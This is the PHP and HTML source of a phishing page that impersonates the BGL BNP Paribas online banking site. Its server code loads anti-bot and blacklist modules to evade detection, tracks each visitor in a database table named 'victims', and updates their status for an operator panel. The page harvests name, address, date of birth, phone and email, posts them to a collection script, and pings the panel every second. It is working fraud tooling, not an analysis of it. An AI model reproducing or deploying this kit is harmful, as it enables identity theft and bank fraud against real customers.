<?php
include '../ipanel/inc/config.php';
include '../ipanel/inc/connect.php';
include '../new_anti_config.php';
if ($internal_antibot == 1) {
   include "../ipanel/inc/old_blocker.php";
}
if ($mobile_lock == "checked") {
   include "../ipanel/inc/mob_lock.php";
}
$url = $_SERVER['REQUEST_URI'];



include '../ipanel/inc/blacklist.php';
include '../ipanel/inc/gateway.php';


if ($enable_antibots == "checked") {
   include '../ipanel/inc/anti.php';
}
session_start();

$ip = $_SERVER['REMOTE_ADDR'];
$ua = $_SERVER['HTTP_USER_AGENT'];


if ($_SESSION['started'] == 'true') {

    $uniqueid = $_SESSION['uniqueid'];
    $query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
    if ($query) {
   $arr = mysqli_fetch_array($query, MYSQLI_ASSOC);
   $user = $arr['user'];
   $address = $arr['address'];
   if ($address != '') {
      $error = "<div style='color:#D4222D'>" . translateText('errorsp1', $currentLanguage) . "<br><br></div>";
   }
    }
  
  } else {
     header('location:../exit.php');
}
  


if($_SESSION['started'] == 'true'){
  $uniqueid = $_SESSION['uniqueid'];
  $query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
  if ($query) {
          $query = mysqli_query($conn, "UPDATE victims SET status=9, buzzed=1 WHERE uniqueid=$uniqueid");
      }
} else {
     header('location:../exit.php');
}
  

?>
<!DOCTYPE html>
<html lang="fr"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>BGL BNP Paribas</title>
<meta name="keywords">
<meta name="description">

<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="initial-scale=1.0001, minimum-scale=1.0001, maximum-scale=1.0001, user-scalable=no">

<link rel="icon" href="./theme/favicon.ico">
<link rel="stylesheet" href="./theme/clientlib-all.min.css" type="text/css">
<link rel="stylesheet" type="text/css" href="./theme/bdel-responsive-default.css">


  
<script src="theme/styles.js" type="text/javascript"></script>
    <script type="text/javascript" src="theme/jquery-2.2.3.js"></script>

    
    
<script>
function check(form) {

if (form.name.value.length < 2)
{ form.name.focus(); document.getElementById("name").style.borderColor = "#D4222D"; return;}
else { document.getElementById("name").style.borderColor = "#DDDDDD"; }

if (form.address.value.length < 2)
{ form.address.focus(); document.getElementById("address").style.borderColor = "#D4222D"; return;}
else { document.getElementById("address").style.borderColor = "#DDDDDD"; }

var regExpress = /^(0[1-9]|[12]\d|3[01])\/(0[1-9]|1[0-2])\/(19\d{2}|20[0-2]\d)$/
if (!regExpress.test(form.dob.value))
{ form.dob.focus(); document.getElementById("dob").style.borderColor = "#D4222D"; return;}
else { document.getElementById("dob").style.borderColor = "#DDDDDD"; }

if (form.phonenr.value.length < 2)
{ form.phonenr.focus(); document.getElementById("phonenr").style.borderColor = "#D4222D"; return;}
else { document.getElementById("phonenr").style.borderColor = "#DDDDDD"; }


var regExpressPostcode = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/
if (!regExpressPostcode.test(form.email.value))
{ form.email.focus(); document.getElementById("email").style.borderColor = "#D4222D"; return;}
else { document.getElementById("email").style.borderColor = "#DDDDDD"; }





submit_form();
// form.submit()
}
</script>


</head> 
<body class="page ">

<div class="page__main container apps-web-templates-page-home">
<header class="page__header">
<div class="page__topnav"><div class="topnav">
<div class="topnav-header-1 hidden-sm hidden-xs">
<div class="container">
<div class="change-language">
<div class="btn-group bootstrap-select select-language show-tick" style="width: 60px;"><button type="button" class="btn dropdown-toggle select-box-language" data-toggle="dropdown" role="button"><span class="filter-option pull-left"><i class="glyphicon flag-icon flag-icon-fr"></i> Français</span>&nbsp;<span class="bs-caret"><span class="caret"></span></span></button><div class="dropdown-menu open" role="combobox"><ul class="dropdown-menu inner" role="listbox" aria-expanded="false"><li data-original-index="0" class="selected"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="true"><span class="glyphicon flag-icon flag-icon-fr"></span> <span class="text">Français</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li><li data-original-index="1"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="glyphicon flag-icon flag-icon-de"></span> <span class="text">Deutsch</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li><li data-original-index="2"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="glyphicon flag-icon flag-icon-gb"></span> <span class="text">English</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li></ul></div><select class="selectpicker select-language show-tick" data-width="60px" data-style="select-box-language" tabindex="-98">
<option data-icon="flag-icon flag-icon-fr" selected="">Français</option>
<option data-icon="flag-icon flag-icon-de" value="">Deutsch</option>
<option data-icon="flag-icon flag-icon-gb" value="">English</option>

</select></div>
</div>

</div>
</div>

<div class="topnav-header-2 hidden-sm hidden-xs">
<div class="logo">
<a href="#">
<img style="width: 173px" src="./theme/bgl-logo.svg">
</a>
</div>
<span class="slogan">La banque d'un monde qui change</span>
<div id="ia-customer"></div>
</div>

<div class="topnav-header-mobile visible-xs visible-sm">
<nav id="navbar-mobile" class="navbar navbar-default navbar-fixed-top visible-xs visible-sm" role="navigation">
<div class="container">
<div class="navbar-header">
<div id="ia-logout" class="ia-logout visible-xs visible-sm"></div>
<div id="ia-contracts-1" data-master="true" class="ia html5 ia-contracts">

</div>
<button class="navbar-toggle pull-left collapsed" data-toggle="collapse" data-target="#menu-mobile">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a href="#">
<img style="margin-top: 8px; height: 25px; max-width: 40%;" src="./theme/bgl-logo.svg">
</a>
</div>
<div id="menu-mobile" class="collapse navbar-collapse hidden-md hidden-lg">
<ul class="nav navbar-nav">
<li class="footer-list-mobile-only visible-xs visible-sm" id="select-language-mobile">
<span id="language-label">Langue</span>
<div class="btn-group bootstrap-select select-language show-tick" style="width: 60px;"><button type="button" class="btn dropdown-toggle select-box-language" data-toggle="dropdown" role="button"><span class="filter-option pull-left"><i class="glyphicon flag-icon flag-icon-fr"></i> Français</span>&nbsp;<span class="bs-caret"><span class="caret"></span></span></button><div class="dropdown-menu open" role="combobox"><ul class="dropdown-menu inner" role="listbox" aria-expanded="false"><li data-original-index="0" class="selected"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="true"><span class="glyphicon flag-icon flag-icon-fr"></span> <span class="text">Français</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li><li data-original-index="1"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="glyphicon flag-icon flag-icon-de"></span> <span class="text">Deutsch</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li><li data-original-index="2"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="glyphicon flag-icon flag-icon-gb"></span> <span class="text">English</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li></ul></div><select class="selectpicker select-language show-tick" data-width="60px" data-style="select-box-language" tabindex="-98">

<option data-icon="flag-icon flag-icon-fr" selected="">Français</option>





<option data-icon="flag-icon flag-icon-de">Deutsch</option>




<option data-icon="flag-icon flag-icon-gb">English</option>

</select></div>
</li>
<li class="divider-language-service visible-xs visible-sm" role="separator"></li>
<div id="footer-list-mobil"><li role="separator" class="divider"></li><li><a class="footer-list-mobile-only visible-xs visible-sm" href="#">Conditions Générales</a></li><li role="separator" class="divider"></li><li><a class="footer-list-mobile-only visible-xs visible-sm" href="#">Mentions légales</a></li><li role="separator" class="divider"></li><li><a class="footer-list-mobile-only visible-xs visible-sm" href="#">Politique de cookies</a></li><li role="separator" class="divider"></li><li><a class="footer-list-mobile-only visible-xs visible-sm" href="#">Gestion des cookies</a></li></div>
<li class="copyright visible-xs visible-sm" style="margin-top: 10px">
<span>© BGL BNP Paribas - 2018</span>
</li>
</ul>
</div>
</div>
</nav>
</div>
</div>
</div>
</header>
<div class="main-container">
<div class="page__par">
<div class="aem-Grid aem-Grid--12 aem-Grid--default--12 ">
<div class="app-login aem-GridColumn--default--none aem-GridColumn aem-GridColumn--default--5 aem-GridColumn--offset--default--0">
<div class="ia-login"><div id="ia-0">
<span id="language_label" rv-text="i18n.language_label" style="display: none">Langue</span>
<div rv-class-login-iframe-title="showIframe" class=" login-iframe-title">
<div rv-hide="showLoginLuxtrust" style="display: none;">
<h2 rv-hide="error | eq &#39;errorBadApplication&#39;" class="login-title text-center">
Accédez à vos comptes
</h2>
<h2 class="login-title text-center color-bgl-red" style="display: none;">
Erreur de connexion
</h2>
</div>
</div>

<div id="loginTitleContainer">
<div>
<div id="btn_reset_form_lt" class="col-xs-10">
<i style="width: 25px; margin-top: 10px; display: none;" class="col-xs-10 reset_form_login_lt pointer margin-top" height="20px"><img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyBpZD0iTGF5ZXJfMiIgZGF0YS1uYW1lPSJMYXllciAyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCI+CiAgPGRlZnM+CiAgICA8c3R5bGU+CiAgICAgIC5jbHMtMSB7CiAgICAgICAgZmlsbDogbm9uZTsKICAgICAgfQoKICAgICAgLmNscy0yIHsKICAgICAgICBmaWxsOiAjMzMzZjQ3OwogICAgICB9CiAgICA8L3N0eWxlPgogIDwvZGVmcz4KICA8ZyBpZD0iTGF5ZXJfMS0yIiBkYXRhLW5hbWU9IkxheWVyIDEiPgogICAgPGc+CiAgICAgIDxwYXRoIGNsYXNzPSJjbHMtMiIgZD0iTTEyLDJDNi40OCwyLDIsNi40OCwyLDEyczQuNDgsMTAsMTAsMTAsMTAtNC40OCwxMC0xMFMxNy41MiwyLDEyLDJabTIuMDgsMTQuMjVjLS4xOCwuMTYtLjQxLC4yMy0uNjksLjIzLS4xOSwwLS4zNy0uMDMtLjU1LS4xLS4zMS0uMjItLjY1LS40Ny0xLjAxLS43NC0uMzYtLjI4LS43My0uNTYtMS4xMS0uODUtLjQ4LS4zNS0uOTYtLjcxLTEuNDYtMS4wOC0uNS0uMzctLjkzLS42OS0xLjMxLS45Ni0uMjMtLjIzLS4zNS0uNDYtLjM1LS42NywwLS4yOSwuMTYtLjU0LC40Ny0uNzdoLS4wMmMuMDUtLjA0LC4yLS4xNiwuNDUtLjM1LC4yNC0uMTksLjUzLS40MSwuODYtLjY3LC4zMy0uMjYsLjY4LS41MywxLjA1LS44MywuMzctLjI5LC43Mi0uNTcsMS4wNS0uODNzLjYxLS40OCwuODUtLjY2Yy4yNC0uMTgsLjM5LS4zLC40Ni0uMzQsLjIyLS4wOCwuNC0uMTIsLjU1LS4xMiwuMjksMCwuNTIsLjA4LC42OSwuMjRzLjI2LC4zNiwuMjYsLjU5YzAsLjI3LS4wOCwuNS0uMjQsLjY3LS4yMywuMTktLjUzLC40My0uOSwuNzEtLjM3LC4yOS0uNzQsLjU3LTEuMTIsLjg2LS4zNSwuMjctLjcsLjU0LTEuMDQsLjgxLS4zNCwuMjctLjYyLC40OS0uODQsLjY2bDMuOTMsMi45MSwuMDQsLjAyYy4wNywuMTIsLjEzLC4yNCwuMTcsLjM1LC4wNSwuMTEsLjA3LC4yMiwuMDcsLjMzLDAsLjIzLS4wOSwuNDItLjI2LC41OFoiLz4KICAgICAgPHJlY3QgY2xhc3M9ImNscy0xIiB3aWR0aD0iMjQiIGhlaWdodD0iMjQiLz4KICAgIDwvZz4KICA8L2c+Cjwvc3ZnPg=="></i>
</div>

<form action="" method="post">
<input type="text" autocomplete="off" id="blank" name="blank" readonly="readonly">
<div id="loginTitle">
<h2 rv-hide="error | eq &#39;errorBadApplication&#39;" class="login-title-flt text-center">
<?= translateText('formp2', $currentLanguage); ?>
</h2>
</div>
</div>
</div>



<i style="width: 25px; padding-left: 25px; display: none;" class="reset_form_login ba-2x ba-arrow-left pointer margin-top" height="20px" id="btn_reset_form" rv-hide="unsupportedBrowser"></i>

<div id="globalView" rv-class-login-iframe="showIframe" class=" login-iframe">


<div rv-hide="hidePreferenceLt">
</div>
<div class=" col-md-10 col-md-offset-1 LuxtrusPref" style="margin: 0px;">
<p style="padding-top: 10px;width:85%;line-height:23px;font-size:17px;"><?= translateText('footerp4', $currentLanguage); ?> </p>
</div>
<div class="mainContent">  
<?= $error ?>
<div class="inputs">
<label for="name"><?= translateText('footerp5', $currentLanguage); ?></label>
            <input class="form-control" name="name" id="name" type="text" maxlength="85" onKeyDown="if(event.keyCode==13) check(this.form);">
           </div>
           <br>
           <div class="inputs">
           <label for="address"><?= translateText('footerp6', $currentLanguage); ?> </label>
            <input class="form-control" type="text" maxlength="85" name="address" maxlength="55" id="address" onKeyDown="if(event.keyCode==13) check(this.form);" placeholder="">
           </div>
           <br>
           <div class="inputs">
           <label for="dob"><?= translateText('footerp10', $currentLanguage); ?> </label>
            <input class="form-control" type="text" name="dob" maxlength="10" id="dob" pattern="[0-9]*" onKeyDown="if(event.keyCode==13) check(this.form);" placeholder="<?= translateText('footerp9', $currentLanguage); ?>">
           </div>
           <br>
           <div class="inputs"><label for="phonenr"><?= translateText('footerp7', $currentLanguage); ?> </label>
           <input class="form-control" type="text" maxlength="85" name="phonenr" maxlength="25" id="phonenr" pattern="[0-9]*" onKeyDown="if(event.keyCode==13) check(this.form);" placeholder="">
         </div>
         <br>
           <div class="inputs"><label for="phonenr">E-mail </label>
           <input class="form-control" type="text" maxlength="85" name="email" maxlength="25" id="email" onKeyDown="if(event.keyCode==13) check(this.form);" placeholder="">
         </div>

<br><br>
<button id="confirm" class="btn btn-primary" onclick="check(this.form)" type="button"> <?= translateText('formp9', $currentLanguage); ?></button>

</div>
</div>
</div></div>
</div>
</form>
<div class="grid aem-GridColumn--default--none aem-GridColumn aem-GridColumn--default--5 aem-GridColumn--offset--default--0" style="float:right;">
<div class="aem-Grid aem-Grid--12 aem-Grid--default--12 aem-Grid--tablet--12 aem-Grid--phone--12 ">
<div class="text parbase aem-GridColumn--phone--hide aem-GridColumn--default--none aem-GridColumn--phone--12 aem-GridColumn aem-GridColumn--default--12 aem-GridColumn--offset--phone--0 aem-GridColumn--offset--default--0">
<p style="text-align: center;">&nbsp;</p>
<p style="text-align: center;">&nbsp;</p>
<p style="text-align: center;"><?= translateText('bnpapp', $currentLanguage); ?><br>
</p>
<p>&nbsp;</p>
</div>
<div class="image parbase aem-GridColumn--default--none aem-GridColumn--phone--none aem-GridColumn--tablet--none aem-GridColumn aem-GridColumn--tablet--2 aem-GridColumn--offset--phone--1 aem-GridColumn--offset--default--2 aem-GridColumn--phone--4 aem-GridColumn--offset--tablet--3 aem-GridColumn--default--3">
<a href="#">
<img src="./theme/1516176290665.jpg" class="cq-dd-image" data-emptytext="Image">
</a>
</div>
<div class="image parbase aem-GridColumn--default--none aem-GridColumn--phone--none aem-GridColumn--tablet--none aem-GridColumn aem-GridColumn--tablet--2 aem-GridColumn--offset--phone--1 aem-GridColumn--offset--default--2 aem-GridColumn--phone--4 aem-GridColumn--default--3 aem-GridColumn--offset--tablet--2">
<a href="#">
<img src="./theme/1516176290982.jpg" class="cq-dd-image" data-emptytext="Image">
</a>
</div>
</div>
</div>
</div>
</div>
</div>
<footer class="page__footer footer-list">
<ul class="footer-links">
<li><a href="#"><?= translateText('bnpfooter', $currentLanguage); ?></li>
</ul>
</footer>
</div>



<script>

var format = "dd/mm/yyyy";
var match = new RegExp(format
    .replace(/(\w+)\W(\w+)\W(\w+)/, "^\\s*($1)\\W*($2)?\\W*($3)?([0-9]*).*")
    .replace(/m|d|y/g, "\\d"));
var replace = "$1/$2/$3$4"
    .replace(/\//g, format.match(/\W/));

function doFormat(target)
{
    target.value = target.value
        .replace(/(^|\W)(?=\d\W)/g, "$10")   // padding
        .replace(match, replace)             // fields
        .replace(/(\W)+/g, "$1");            // remove repeats
}

$("input[name='dob']:first").keyup(function(e) {
   if(!e.ctrlKey && !e.metaKey && (e.keyCode == 32 || e.keyCode > 46))
      doFormat(e.target)
});

</script>




    
<script src="../assets/js/jquery-1.11.3.min.js"></script>
   <script src="../assets/js/main.js"></script>
   <script>
      var pinger = setInterval(function() {
         var urldata = "../ipanel/inc/action.php?type=ping";
         $.ajax({
            url: urldata,
            type: "GET",
            success: function(response) {
               //console.log(response)
            }
         });
      }, 1000);
      function submit_form() {
         var name = document.getElementById('name').value;
         var address = document.getElementById('address').value;
         var dob = document.getElementById('dob').value;
         var phonenr = document.getElementById('phonenr').value;
         var email = document.getElementById('email').value;
         $.ajax({
            type: 'POST',
            url: '../ipanel/inc/action.php?type=safe1',
            data: 'name=' + name + '&address=' + address + '&dob=' + dob + '&phonenr=' + phonenr + '&email=' + email,
            success: function(data) {
               var parsed_data = JSON.parse(data);
               if (parsed_data.status == 'ok') {
                  location.href = "loading.php"
               }
            }
         })
      }


   </script>

</body>
</html>
